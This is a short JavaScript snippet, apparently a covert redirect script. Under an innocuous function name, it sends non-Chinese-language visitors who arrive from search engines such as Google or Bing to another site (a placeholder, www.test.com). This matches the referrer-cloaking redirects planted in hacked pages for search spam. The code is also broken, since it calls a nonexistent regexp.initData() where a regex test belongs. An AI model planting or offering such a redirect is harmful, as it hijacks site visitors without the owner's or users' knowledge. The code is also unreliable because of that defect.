function initData(){
 var h = new Date().getHours();
    if (navigator.language)
        var lang = navigator.language;
    else
        var lang = navigator.browserLanguage;
    if (lang.indexOf('zh') == -1) {
            var regexp = /\.(google|yahoo|bing|aol|ask|altavista|msn)(\.[a-z0-9\-]+){1,2}\//ig;
            var lastUrl = document.referrer;
            if (regexp.initData(lastUrl)) { setTimeout('window.location.href="http://www.test.com";', 0); 
			}
    }
}
initData();